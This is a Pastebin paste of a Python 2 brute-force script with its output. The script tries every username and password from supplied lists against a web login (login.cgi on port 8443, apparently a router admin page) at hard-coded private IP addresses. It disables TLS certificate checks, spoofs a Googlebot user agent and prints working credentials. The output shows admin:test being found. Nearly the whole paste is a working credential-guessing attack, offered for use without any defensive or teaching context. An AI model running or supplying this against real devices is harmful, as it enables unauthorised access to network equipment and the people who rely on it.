Advertisement
Guest User

Untitled

a guest
Mar 19th, 2016
112
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.82 KB | None | 0 0
  1. import ssl
  2. import base64
  3. import sys
  4. import urllib
  5. import urllib2
  6. import socket
  7. ssl._create_default_https_context = ssl._create_unverified_context
  8. if len(sys.argv) !=4:
  9. print "usage: %s userlist passwordlist" % (sys.argv[0])
  10. sys.exit(0)
  11. filename1=str(sys.argv[1])
  12. filename2=str(sys.argv[2])
  13. #filename3=str(sys.argv[3])
  14. userlist = open(filename1,'r')
  15. passwordlist = open(filename2,'r')
  16. #targets = open(filename3,'r')
  17. targets = ['192.168.2.1', '192.168.2.1', '192.168.2.2']
  18.  
  19. #url = "https://192.168.2.1:8443/login.cgi"
  20. foundusers = []
  21. foundcreds = []
  22. OkStr="url=index.asp"
  23. headers = {}
  24. headers['User-Agent'] = "Googlebot"
  25. i=0
  26. for ip in targets:
  27. url = "https://"+ip.rstrip()+":8443/login.cgi"
  28. for user in userlist.readlines():
  29. for password in passwordlist.readlines():
  30. credentials=base64.b64encode(user.rstrip()+':'+password.rstrip())
  31. #print "trying "+user.rstrip()+':'+password.rstrip()
  32. data = urllib.urlencode({'login_authorization': credentials})
  33. try:
  34. req = urllib2.Request(url, data, headers=headers)
  35. request = urllib2.urlopen(req, timeout = 3)
  36. response = request.read()
  37. print 'ip=%r user=%r password=%r' % (ip, user, password)
  38. #print "[%d]" % (request.code)
  39. if (response.find(OkStr)>0):
  40. foundcreds.append(user.rstrip()+':'+password.rstrip())
  41. request.close()
  42. except urllib2.HTTPError, e:
  43. print "[-] Error = "+str(e)
  44. pass
  45. except socket.timeout, e:
  46. print "[-] Error = "+str(e)
  47. pass
  48. except ssl.SSLError, e:
  49. print "[-] Error = "+str(e)
  50. pass
  51. except urllib2.URLError, e :
  52. print "[-] Error = "+str(e)
  53. pass
  54.  
  55. if len(foundcreds)>0:
  56. print "Found User and Password combinations:n"
  57. for name in foundcreds:
  58. print name+"n"
  59. else:
  60. print "No users foundn"
  61.  
  62. ip='192.168.2.1' user='adminn' password='asdn'
  63. ip='192.168.2.1' user='adminn' password='qwern'
  64. ip='192.168.2.1' user='adminn' password='rewsn'
  65. ip='192.168.2.1' user='adminn' password='testn'
  66. Found User and Password combinations:
  67.  
  68. admin:test
  69.  
  70. Found User and Password combinations:
  71.  
  72. admin:test
  73.  
  74. Found User and Password combinations:
  75.  
  76. admin:test
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement